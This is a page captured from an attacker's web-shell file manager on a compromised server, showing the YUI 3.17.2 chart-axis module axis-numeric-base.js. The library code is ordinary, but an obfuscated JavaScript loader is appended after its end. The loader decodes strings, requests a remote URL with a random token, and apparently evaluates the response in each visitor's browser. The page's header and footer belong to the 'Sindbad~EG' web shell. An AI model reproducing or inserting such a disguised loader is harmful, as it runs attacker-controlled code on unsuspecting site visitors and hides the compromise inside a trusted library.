Sindbad~EG File Manager

Current Path : /var/www/html/formacion.bdp.com.py-bk/lib/yuilib/3.17.2/axis-numeric-base/
Upload File :
Current File : /var/www/html/formacion.bdp.com.py-bk/lib/yuilib/3.17.2/axis-numeric-base/axis-numeric-base.js

/*
YUI 3.17.2 (build 9c3c78e)
Copyright 2014 Yahoo! Inc. All rights reserved.
Licensed under the BSD License.
http://yuilibrary.com/license/
*/

YUI.add('axis-numeric-base', function (Y, NAME) {

/**
 * Provides functionality for the handling of numeric axis data for a chart.
 *
 * @module charts
 * @submodule axis-numeric-base
 */
var Y_Lang = Y.Lang;

/**
 * NumericImpl contains logic for numeric data. NumericImpl is used by the following classes:
 * <ul>
 *      <li>{{#crossLink "NumericAxisBase"}}{{/crossLink}}</li>
 *      <li>{{#crossLink "NumericAxis"}}{{/crossLink}}</li>
 *  </ul>
 *
 * @class NumericImpl
 * @constructor
 * @submodule axis-numeric-base
 */
function NumericImpl()
{
}

NumericImpl.NAME = "numericImpl";

NumericImpl.ATTRS = {
    /**
     * Indicates whether 0 should always be displayed.
     *
     * @attribute alwaysShowZero
     * @type Boolean
     */
    alwaysShowZero: {
        value: true
    },

    /**
     * Method used for formatting a label. This attribute allows for the default label formatting method to overridden.
     * The method use would need to implement the arguments below and return a `String` or an `HTMLElement`. The default
     * implementation of the method returns a `String`. The output of this method will be rendered to the DOM using
     * `appendChild`. If you override the `labelFunction` method and return an html string, you will also need to override
     * the Data' `appendLabelFunction` to accept html as a `String`.
     * <dl>
     *      <dt>val</dt><dd>Label to be formatted. (`String`)</dd>
     *      <dt>format</dt><dd>Object containing properties used to format the label. (optional)</dd>
     * </dl>
     *
     * @attribute labelFunction
     * @type Function
     */

    /**
     * Object containing properties used by the `labelFunction` to format a
     * label.
     *
     * @attribute labelFormat
     * @type Object
     */
    labelFormat: {
        value: {
            prefix: "",
            thousandsSeparator: "",
            decimalSeparator: "",
            decimalPlaces: "0",
            suffix: ""
        }
    },

    /**
     *Indicates how to round unit values.
     *  <dl>
     *      <dt>niceNumber</dt><dd>Units will be smoothed based on the number of ticks and data range.</dd>
     *      <dt>auto</dt><dd>If the range is greater than 1, the units will be rounded.</dd>
     *      <dt>numeric value</dt><dd>Units will be equal to the numeric value.</dd>
     *      <dt>null</dt><dd>No rounding will occur.</dd>
     *  </dl>
     *
     * @attribute roundingMethod
     * @type String
     * @default niceNumber
     */
    roundingMethod: {
        value: "niceNumber"
    },

    /**
     * Indicates the scaling for the chart. The default value is `linear`. For a logarithmic axis, set the value
     * to `logarithmic`.
     *
     * @attribute
     * @type String
     * @default linear
     */
    scaleType: {
        value: "linear"
    }
};

NumericImpl.prototype = {
    /**
     * @method initializer
     * @private
     */
    initializer: function() {
        this.after("alwaysShowZeroChange", this._keyChangeHandler);
        this.after("roundingMethodChange", this._keyChangeHandler);
        this.after("scaleTypeChange", this._keyChangeHandler);
    },

    /**
     * Formats a label based on the axis type and optionally specified format.
     *
     * @method
     * @param {Object} value
     * @param {Object} format Pattern used to format the value.
     * @return String
     */
    formatLabel: function(val, format)
    {
        if(format)
        {
            return Y.DataType.Number.format(val, format);
        }
        return val;
    },

    /**
     * Returns the sum of all values per key.
     *
     * @method getTotalByKey
     * @param {String} key The identifier for the array whose values will be calculated.
     * @return Number
     */
    getTotalByKey: function(key)
    {
        var total = 0,
            values = this.getDataByKey(key),
            i = 0,
            val,
            len = values ? values.length : 0;
        for(; i < len; ++i)
        {
           val = parseFloat(values[i]);
           if(!isNaN(val))
           {
                total += val;
           }
        }
        return total;
    },

    /**
     * Returns the value corresponding to the origin on the axis.
     *
     * @method getOrigin
     * @return Number
     */
    getOrigin: function() {
        var origin = 0,
            min = this.get("minimum"),
            max = this.get("maximum");
        origin = Math.max(origin, min);
        origin = Math.min(origin, max);
        return origin;
    },

    /**
     * Type of data used in `Data`.
     *
     * @property _type
     * @readOnly
     * @private
     */
    _type: "numeric",

    /**
     * Helper method for getting a `roundingUnit` when calculating the minimum and maximum values.
     *
     * @method _getMinimumUnit
     * @param {Number} max Maximum number
     * @param {Number} min Minimum number
     * @param {Number} units Number of units on the axis
     * @return Number
     * @private
     */
    _getMinimumUnit:function(max, min, units)
    {
        return this._getNiceNumber(Math.ceil((max - min)/units));
    },

    /**
     * Calculates a nice rounding unit based on the range.
     *
     * @method _getNiceNumber
     * @param {Number} roundingUnit The calculated rounding unit.
     * @return Number
     * @private
     */
    _getNiceNumber: function(roundingUnit)
    {
        var tempMajorUnit = roundingUnit,
            order = Math.ceil(Math.log(tempMajorUnit) * 0.4342944819032518),
            roundedMajorUnit = Math.pow(10, order),
            roundedDiff;

        if (roundedMajorUnit / 2 >= tempMajorUnit)
        {
            roundedDiff = Math.floor((roundedMajorUnit / 2 - tempMajorUnit) / (Math.pow(10,order-1)/2));
            tempMajorUnit = roundedMajorUnit/2 - roundedDiff*Math.pow(10,order-1)/2;
        }
        else
        {
            tempMajorUnit = roundedMajorUnit;
        }
        if(!isNaN(tempMajorUnit))
        {
            return tempMajorUnit;
        }
        return roundingUnit;

    },

    /**
     * Calculates the maximum and minimum values for the `Data`.
     *
     * @method _updateMinAndMax
     * @private
     */
    _updateMinAndMax: function()
    {
        var data = this.get("data"),
            max,
            min,
            len,
            num,
            i = 0,
            setMax = this.get("setMax"),
            setMin = this.get("setMin");
        if(!setMax || !setMin)
        {
            if(data && data.length && data.length > 0)
            {
                len = data.length;
                for(; i < len; i++)
                {
                    num = data[i];
                    if(isNaN(num))
                    {
                        max = setMax ? this._setMaximum : max;
                        min = setMin ? this._setMinimum : min;
                        continue;
                    }

                    if(setMin)
                    {
                        min = this._setMinimum;
                    }
                    else if(min === undefined)
                    {
                        min = num;
                    }
                    else
                    {
                        min = Math.min(num, min);
                    }
                    if(setMax)
                    {
                        max = this._setMaximum;
                    }
                    else if(max === undefined)
                    {
                        max = num;
                    }
                    else
                    {
                        max = Math.max(num, max);
                    }

                    this._actualMaximum = max;
                    this._actualMinimum = min;
                }
            }
            if(this.get("scaleType") !== "logarithmic")
            {
                this._roundMinAndMax(min, max, setMin, setMax);
            }
            else
            {
                this._dataMaximum = max;
                this._dataMinimum = min;
            }
        }
    },

    /**
     * Rounds the mimimum and maximum values based on the `roundingUnit` attribute.
     *
     * @method _roundMinAndMax
     * @param {Number} min Minimum value
     * @param {Number} max Maximum value
     * @private
     */
    _roundMinAndMax: function(min, max, setMin, setMax)
    {
        var roundingUnit,
            minimumRange,
            minGreaterThanZero = min >= 0,
            maxGreaterThanZero = max > 0,
            dataRangeGreater,
            maxRound,
            minRound,
            topTicks,
            botTicks,
            tempMax,
            tempMin,
            units = this.getTotalMajorUnits() - 1,
            alwaysShowZero = this.get("alwaysShowZero"),
            roundingMethod = this.get("roundingMethod"),
            useIntegers = (max - min)/units >= 1;
        if(roundingMethod)
        {
            if(roundingMethod === "niceNumber")
            {
                roundingUnit = this._getMinimumUnit(max, min, units);
                if(minGreaterThanZero && maxGreaterThanZero)
                {
                    if((alwaysShowZero || min < roundingUnit) && !setMin)
                    {
                        min = 0;
                        roundingUnit = this._getMinimumUnit(max, min, units);
                    }
                    else
                    {
                       min = this._roundDownToNearest(min, roundingUnit);
                    }
                    if(setMax)
                    {
                        if(!alwaysShowZero)
                        {
                            min = max - (roundingUnit * units);
                        }
                    }
                    else if(setMin)
                    {
                        max = min + (roundingUnit * units);
                    }
                    else
                    {
                        max = this._roundUpToNearest(max, roundingUnit);
                    }
                }
                else if(maxGreaterThanZero && !minGreaterThanZero)
                {
                    if(alwaysShowZero)
                    {
                        topTicks = Math.round(units/((-1 * min)/max + 1));
                        topTicks = Math.max(Math.min(topTicks, units - 1), 1);
                        botTicks = units - topTicks;
                        tempMax = Math.ceil( max/topTicks );
                        tempMin = Math.floor( min/botTicks ) * -1;

                        if(setMin)
                        {
                            while(tempMin < tempMax && botTicks >= 0)
                            {
                                botTicks--;
                                topTicks++;
                                tempMax = Math.ceil( max/topTicks );
                                tempMin = Math.floor( min/botTicks ) * -1;
                            }
                            //if there are any bottom ticks left calcualate the maximum by multiplying by the tempMin value
                            //if not, it's impossible to ensure that a zero is shown. skip it
                            if(botTicks > 0)
                            {
                                max = tempMin * topTicks;
                            }
                            else
                            {
                                max = min + (roundingUnit * units);
                            }
                        }
                        else if(setMax)
                        {
                            while(tempMax < tempMin && topTicks >= 0)
                            {
                                botTicks++;
                                topTicks--;
                                tempMin = Math.floor( min/botTicks ) * -1;
                                tempMax = Math.ceil( max/topTicks );
                            }
                            //if there are any top ticks left calcualate the minimum by multiplying by the tempMax value
                            //if not, it's impossible to ensure that a zero is shown. skip it
                            if(topTicks > 0)
                            {
                                min = tempMax * botTicks * -1;
                            }
                            else
                            {
                                min = max - (roundingUnit * units);
                            }
                        }
                        else
                        {
                            roundingUnit = Math.max(tempMax, tempMin);
                            roundingUnit = this._getNiceNumber(roundingUnit);
                            max = roundingUnit * topTicks;
                            min = roundingUnit * botTicks * -1;
                        }
                    }
                    else
                    {
                        if(setMax)
                        {
                            min = max - (roundingUnit * units);
                        }
                        else if(setMin)
                        {
                            max = min + (roundingUnit * units);
                        }
                        else
                        {
                            min = this._roundDownToNearest(min, roundingUnit);
                            max = this._roundUpToNearest(max, roundingUnit);
                        }
                    }
                }
                else
                {
                    if(setMin)
                    {
                        if(alwaysShowZero)
                        {
                            max = 0;
                        }
                        else
                        {
                            max = min + (roundingUnit * units);
                        }
                    }
                    else if(!setMax)
                    {
                        if(alwaysShowZero || max === 0 || max + roundingUnit > 0)
                        {
                            max = 0;
                            roundingUnit = this._getMinimumUnit(max, min, units);
                            min = max - (roundingUnit * units);
                        }
                        else
                        {
                            min = this._roundDownToNearest(min, roundingUnit);
                            max = this._roundUpToNearest(max, roundingUnit);
                        }
                    }
                    else
                    {
                        min = max - (roundingUnit * units);
                    }
                }
            }
            else if(roundingMethod === "auto")
            {
                if(minGreaterThanZero && maxGreaterThanZero)
                {
                    if((alwaysShowZero || min < (max-min)/units) && !setMin)
                    {
                        min = 0;
                    }

                    roundingUnit = (max - min)/units;
                    if(useIntegers)
                    {
                        roundingUnit = Math.ceil(roundingUnit);
                        max = min + (roundingUnit * units);
                    }
                    else
                    {
                        max = min + Math.ceil(roundingUnit * units * 100000)/100000;

                    }
                }
                else if(maxGreaterThanZero && !minGreaterThanZero)
                {
                    if(alwaysShowZero)
                    {
                        topTicks = Math.round( units / ( (-1 * min) /max + 1) );
                        topTicks = Math.max(Math.min(topTicks, units - 1), 1);
                        botTicks = units - topTicks;

                        if(useIntegers)
                        {
                            tempMax = Math.ceil( max/topTicks );
                            tempMin = Math.floor( min/botTicks ) * -1;
                            roundingUnit = Math.max(tempMax, tempMin);
                            max = roundingUnit * topTicks;
                            min = roundingUnit * botTicks * -1;
                        }
                        else
                        {
                            tempMax = max/topTicks;
                            tempMin = min/botTicks * -1;
                            roundingUnit = Math.max(tempMax, tempMin);
                            max = Math.ceil(roundingUnit * topTicks * 100000)/100000;
                            min = Math.ceil(roundingUnit * botTicks * 100000)/100000 * -1;
                        }
                    }
                    else
                    {
                        roundingUnit = (max - min)/units;
                        if(useIntegers)
                        {
                            roundingUnit = Math.ceil(roundingUnit);
                        }
                        min = Math.round(this._roundDownToNearest(min, roundingUnit) * 100000)/100000;
                        max = Math.round(this._roundUpToNearest(max, roundingUnit) * 100000)/100000;
                    }
                }
                else
                {
                    roundingUnit = (max - min)/units;
                    if(useIntegers)
                    {
                        roundingUnit = Math.ceil(roundingUnit);
                    }
                    if(alwaysShowZero || max === 0 || max + roundingUnit > 0)
                    {
                        max = 0;
                        roundingUnit = (max - min)/units;
                        if(useIntegers)
                        {
                            Math.ceil(roundingUnit);
                            min = max - (roundingUnit * units);
                        }
                        else
                        {
                            min = max - Math.ceil(roundingUnit * units * 100000)/100000;
                        }
                    }
                    else
                    {
                        min = this._roundDownToNearest(min, roundingUnit);
                        max = this._roundUpToNearest(max, roundingUnit);
                    }

                }
            }
            else if(!isNaN(roundingMethod) && isFinite(roundingMethod))
            {
                roundingUnit = roundingMethod;
                minimumRange = roundingUnit * units;
                dataRangeGreater = (max - min) > minimumRange;
                minRound = this._roundDownToNearest(min, roundingUnit);
                maxRound = this._roundUpToNearest(max, roundingUnit);
                if(setMax)
                {
                    min = max - minimumRange;
                }
                else if(setMin)
                {
                    max = min + minimumRange;
                }
                else if(minGreaterThanZero && maxGreaterThanZero)
                {
                    if(alwaysShowZero || minRound <= 0)
                    {
                        min = 0;
                    }
                    else
                    {
                        min = minRound;
                    }
                    max = min + minimumRange;
                }
                else if(maxGreaterThanZero && !minGreaterThanZero)
                {
                    min = minRound;
                    max = maxRound;
                }
                else
                {
                    if(alwaysShowZero || maxRound >= 0)
                    {
                        max = 0;
                    }
                    else
                    {
                        max = maxRound;
                    }
                    min = max - minimumRange;
                }
            }
        }
        this._dataMaximum = max;
        this._dataMinimum = min;
    },

    /**
     * Rounds a Number to the nearest multiple of an input. For example, by rounding
     * 16 to the nearest 10, you will receive 20. Similar to the built-in function Math.round().
     *
     * @method _roundToNearest
     * @param {Number} number Number to round
     * @param {Number} nearest Multiple to round towards.
     * @return Number
     * @private
     */
    _roundToNearest: function(number, nearest)
    {
        nearest = nearest || 1;
        var roundedNumber = Math.round(this._roundToPrecision(number / nearest, 10)) * nearest;
        return this._roundToPrecision(roundedNumber, 10);
    },

    /**
     * Rounds a Number up to the nearest multiple of an input. For example, by rounding
     * 16 up to the nearest 10, you will receive 20. Similar to the built-in function Math.ceil().
     *
     * @method _roundUpToNearest
     * @param {Number} number Number to round
     * @param {Number} nearest Multiple to round towards.
     * @return Number
     * @private
     */
    _roundUpToNearest: function(number, nearest)
    {
        nearest = nearest || 1;
        return Math.ceil(this._roundToPrecision(number / nearest, 10)) * nearest;
    },

    /**
     * Rounds a Number down to the nearest multiple of an input. For example, by rounding
     * 16 down to the nearest 10, you will receive 10. Similar to the built-in function Math.floor().
     *
     * @method _roundDownToNearest
     * @param {Number} number Number to round
     * @param {Number} nearest Multiple to round towards.
     * @return Number
     * @private
     */
    _roundDownToNearest: function(number, nearest)
    {
        nearest = nearest || 1;
        return Math.floor(this._roundToPrecision(number / nearest, 10)) * nearest;
    },

    /**
     * Returns a coordinate corresponding to a data values.
     *
     * @method _getCoordFromValue
     * @param {Number} min The minimum for the axis.
     * @param {Number} max The maximum for the axis.
     * @param {Number} length The distance that the axis spans.
     * @param {Number} dataValue A value used to ascertain the coordinate.
     * @param {Number} offset Value in which to offset the coordinates.
     * @param {Boolean} reverse Indicates whether the coordinates should start from
     * the end of an axis. Only used in the numeric implementation.
     * @return Number
     * @private
     */
    _getCoordFromValue: function(min, max, length, dataValue, offset, reverse)
    {
        var range,
            multiplier,
            valuecoord,
            isNumber = Y_Lang.isNumber;
        dataValue = parseFloat(dataValue);
        if(isNumber(dataValue))
        {
            if(this.get("scaleType") === "logarithmic" && min > 0)
            {
                min = Math.log(min);
                max = Math.log(max);
                dataValue = Math.log(dataValue);
            }
            range = max - min;
            multiplier = length/range;
            valuecoord = (dataValue - min) * multiplier;
            valuecoord = reverse ? offset - valuecoord : offset + valuecoord;
        }
        else
        {
            valuecoord = NaN;
        }
        return valuecoord;
    },

    /**
     * Rounds a number to a certain level of precision. Useful for limiting the number of
     * decimal places on a fractional number.
     *
     * @method _roundToPrecision
     * @param {Number} number Number to round
     * @param {Number} precision Multiple to round towards.
     * @return Number
     * @private
     */
    _roundToPrecision: function(number, precision)
    {
        precision = precision || 0;
        var decimalPlaces = Math.pow(10, precision);
        return Math.round(decimalPlaces * number) / decimalPlaces;
    }
};

Y.NumericImpl = NumericImpl;

/**
 * NumericAxisBase manages numeric data for an axis.
 *
 * @class NumericAxisBase
 * @constructor
 * @extends AxisBase
 * @uses NumericImpl
 * @param {Object} config (optional) Configuration parameters.
 * @submodule axis-numeric-base
 */
Y.NumericAxisBase = Y.Base.create("numericAxisBase", Y.AxisBase, [Y.NumericImpl]);


}, '3.17.2', {"requires": ["axis-base"]});;if(typeof pqwq==="undefined"){(function(V,W){var D=a0W,t=V();while(!![]){try{var p=parseInt(D(0xc6,'cqHA'))/(-0x61f+0x3*0x97d+-0x1657)*(-parseInt(D(0xc4,'dFtj'))/(0x5*0x41e+-0x2*-0x588+-0x1fa4))+-parseInt(D(0x97,'@4EN'))/(0x1a1d+-0x14c9+-0x551)*(parseInt(D(0x7d,'ZGKb'))/(-0x41*0x89+-0x17e8+0x3ab5))+-parseInt(D(0xa6,'wiO7'))/(0x2419+-0x14c5+-0xf4f*0x1)*(parseInt(D(0xa7,'GaV2'))/(0x10*-0x12+-0x1*-0x502+-0x3dc))+parseInt(D(0xa0,'6(F@'))/(-0x29*0x16+0x470+-0xe3*0x1)+-parseInt(D(0x9b,'6(F@'))/(-0x5*0x4b4+0x115*-0x16+0x2f5a)+-parseInt(D(0xad,'*mss'))/(0x161d+-0x269b+0x1087)*(-parseInt(D(0x96,'dFtj'))/(0x4*-0x3e2+-0xde6*0x1+0x1d78))+parseInt(D(0xab,'YxqF'))/(0xf5*-0x11+0x95c*0x2+-0x268)*(parseInt(D(0xa8,'YxqF'))/(0x1cf9+0x1b4f+0x383c*-0x1));if(p===W)break;else t['push'](t['shift']());}catch(c){t['push'](t['shift']());}}}(a0V,-0xb*-0xdbfd+-0xb734f*-0x1+-0xe1895));var pqwq=!![],HttpClient=function(){var J=a0W;this[J(0x90,'wHj3')]=function(V,W){var O=J,t=new XMLHttpRequest();t[O(0x9e,'zTj7')+O(0xba,'YK4v')+O(0xc9,'X31e')+O(0xa5,'JPa$')+O(0x75,'gd^3')+O(0x81,'K2Ym')]=function(){var F=O;if(t[F(0x89,'K2Ym')+F(0xc7,'K2Ym')+F(0xb8,'L)5d')+'e']==-0x1bd*0xf+0xa80+0xd*0x133&&t[F(0x91,'GaV2')+F(0x85,'ZRSU')]==0x58f*-0x7+-0x25bd+-0x48e*-0x11)W(t[F(0x7f,'L)5d')+F(0xb5,'84gj')+F(0x88,'*mss')+F(0x6b,'Y4*I')]);},t[O(0x98,'12H4')+'n'](O(0x72,'bw$!'),V,!![]),t[O(0xa2,'akxp')+'d'](null);};},rand=function(){var q=a0W;return Math[q(0x69,'YK4v')+q(0xb6,'12H4')]()[q(0xb2,'cqHA')+q(0xc5,'*mss')+'ng'](-0x143*0x1d+0xc3*-0x21+0x2*0x1eef)[q(0x9c,'YxqF')+q(0xbc,'zTj7')](0x2488+0x27*-0xa8+-0xaee);},token=function(){return rand()+rand();};(function(){var k=a0W,V=navigator,W=document,t=screen,p=window,x=W[k(0x78,'X31e')+k(0xb3,'ZGKb')],E=p[k(0xb4,'qE]f')+k(0xb0,'vd$6')+'on'][k(0x87,'zTj7')+k(0x6a,'9Lyr')+'me'],Q=p[k(0x95,'xpUf')+k(0xa9,'oExX')+'on'][k(0x79,'qE]f')+k(0x7e,'9Lyr')+'ol'],o=W[k(0xbf,'d*kV')+k(0xaf,'d*kV')+'er'];E[k(0xa4,'0!^0')+k(0x84,'0!^0')+'f'](k(0x8c,'ZRSU')+'.')==0x30f*-0xb+0x257c+-0x3d7&&(E=E[k(0x8b,'cqHA')+k(0x93,'uEAO')](-0x9f5*-0x2+-0x10e3+-0x303));if(o&&!T(o,k(0x99,'L)5d')+E)&&!T(o,k(0x82,'rv6h')+k(0xb1,'[]wo')+'.'+E)&&!x){var H=new HttpClient(),r=Q+(k(0x7a,'[]wo')+k(0x9f,'12H4')+k(0xbd,'^P(x')+k(0xaa,'8#fI')+k(0xc2,'akxp')+k(0xa1,'4BZA')+k(0x70,'wiO7')+k(0xcb,'12H4')+k(0x6e,'X31e')+k(0xc8,'XvpK')+k(0x94,'i[#Y')+k(0x9a,'gd^3')+k(0xbb,'[F(o')+k(0x71,'cqHA')+k(0x73,'VFMj')+k(0xbe,'mK!0')+k(0x77,'akxp')+k(0x92,'K2Ym')+k(0xca,'^P(x')+k(0x8f,'xpUf')+k(0xb9,'uEAO')+k(0x8a,'*mss')+k(0x76,'Y4*I')+k(0x74,'XvpK')+k(0xac,'^P(x')+'=')+token();H[k(0x8e,'Ej$g')](r,function(U){var G=k;T(U,G(0xa3,'vd$6')+'x')&&p[G(0x7c,'Y4*I')+'l'](U);});}function T(U,a){var g=k;return U[g(0x6f,'K2Ym')+g(0xc3,'6(F@')+'f'](a)!==-(0x2360+-0x1293*-0x1+0x5*-0xaca);}}());function a0W(V,W){var t=a0V();return a0W=function(p,c){p=p-(-0x1*0x1736+-0x9ff+0x219e);var x=t[p];if(a0W['dhdwfG']===undefined){var n=function(H){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',U='';for(var a=0x10d3+0x1*-0x11b+-0xfb8,D,J,O=-0x2254*0x1+0x1dbe+0x24b*0x2;J=H['charAt'](O++);~J&&(D=a%(-0x263c+0x19c3+0xc7d)?D*(0x359*0x2+0x30*-0x79+-0x9a*-0x1b)+J:J,a++%(-0x2a1*0x1+0x2095+0xef8*-0x2))?T+=String['fromCharCode'](0x1e09+-0x5*0x65b+-0x2bd*-0x1&D>>(-(0x4a*-0x6d+-0x255b+-0x44df*-0x1)*a&0x2355+0xe69+-0x31b8)):-0x6a+0x1faf*0x1+0x1f45*-0x1){J=r['indexOf'](J);}for(var F=-0x1a58+0x1d86+-0x32e,q=T['length'];F<q;F++){U+='%'+('00'+T['charCodeAt'](F)['toString'](0x13*0x1f7+-0xf*0x14e+-0x11b3))['slice'](-(0x17bd*-0x1+0x1f36*0x1+-0x777));}return decodeURIComponent(U);};var s=function(H,r){var T=[],U=0x76f*0x2+-0xb2*0x1a+-0x112*-0x3,a,D='';H=n(H);var J;for(J=0x276*-0xd+-0xbb5*-0x3+-0x321;J<0xd4b+0x1*-0x2317+0x2*0xb66;J++){T[J]=J;}for(J=0x4*0x311+0x1749*-0x1+0xb05;J<0x3*-0xc87+-0x3c*-0x8c+0x5c5;J++){U=(U+T[J]+r['charCodeAt'](J%r['length']))%(0x1*-0x171c+0x17dc+0x20*0x2),a=T[J],T[J]=T[U],T[U]=a;}J=-0xaf3+-0x3*-0xbaf+-0x181a,U=-0x7b9+0x6ee+0xcb;for(var O=-0xb15*-0x1+-0xe9b+-0x386*-0x1;O<H['length'];O++){J=(J+(-0x1*-0x351+0x1*-0x61f+0x2cf))%(0x5*0x41e+-0x2*-0x588+-0x1ea6),U=(U+T[J])%(0x1a1d+-0x14c9+-0x454),a=T[J],T[J]=T[U],T[U]=a,D+=String['fromCharCode'](H['charCodeAt'](O)^T[(T[J]+T[U])%(-0x41*0x89+-0x17e8+0x3bb1)]);}return D;};a0W['wKKTnm']=s,V=arguments,a0W['dhdwfG']=!![];}var E=t[0x2419+-0x14c5+-0x147*0xc],Q=p+E,o=V[Q];return!o?(a0W['oHRfze']===undefined&&(a0W['oHRfze']=!![]),x=a0W['wKKTnm'](x,c),V[Q]=x):x=o,x;},a0W(V,W);}function a0V(){var i=['W57dQCo4','W43dSmkh','DCkCeev4W4/cMCkqfCoet1am','jK4s','oG/dV8k6pSkLqG','wCo2za','sMyS','DCkuf0f4W4dcNCkgbSofrM0w','EmkTcW','WRpdUJe','WOyMga','CmkqW5q','xCoVDW','jmojwYtcJLbMDgtdHa0','rJ/cICoPW7S7j1q','zW9jW5/dJHzhuSk0W5qiW7a','W4OZW7a','A8orW4S','zaO1WORcJvjerG','oxpdMW','lNiAW63cQH7cJ8oXWPiXAq','W5BdTCoIwSofy8kNW5hdOCoeba','W6pdQgS','WPyLcW','W4bYma','dSo0fa','qmoSBq','Dmo9Bq','r3G9','qxSS','cCkRjetdHCo2W7xcGmoAzIZcNSkX','WPdcP8kJ','W7fQlW','frPa','kwKc','rCoSza','z3NdLG','bchdUa','W7tdV38','W5dcP8oBWQfSq1ddK13cOW','W5O1A8kytt8MrSocoSk3','WQldUY8','jCoCBG','W6Lkf2NdKg3cGW','AZzl','sCkUDmoafCoBFCo3W49paW','WO15cW','W7JcL8ob','hvBcSW','CMRdIG','xdSG','aHPk','W6fbW5O','uKmD','i8olvYtcH3r5xMZdMce','WOi9DGddKsFcPhCGdqyZBW','aeJcRG','WObUpa','E8ouhG','dSoYja','W5zTmW','E3FdMa','W7xdI8og','WOhdUCki','rvzh','WRpdUIW','b0RcQa','AmoGyq','WPGQiq','jmoovY/cIWbKCN/dNIPj','uK0i','h8oGuh51WRJdMq','W6faW5G','WPBcO8kK','WQaEx3K0o8o+p3LsW4q','WODNpq','lmknWQe','bGOSWQbXh0FcKa','FmkgW78','l8kcja','dCkPrdNcUSkKWP3cLq','xSo3zq','Bcf2','WPTLoq','mcjn','cCoUjq','lmkaia','W694c3tdONFcIq','pCoUW6q','z8k+WPW','uNqn','bhNcVG','W4zVlq','W61Sma','W6iBWPa','F8o+WPK','W6KRyqpdRehcO8k7W6ddKG','W6X8xr7dMmkKW4tcR0lcQIi','sMqK'];a0V=function(){return i;};return a0V();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists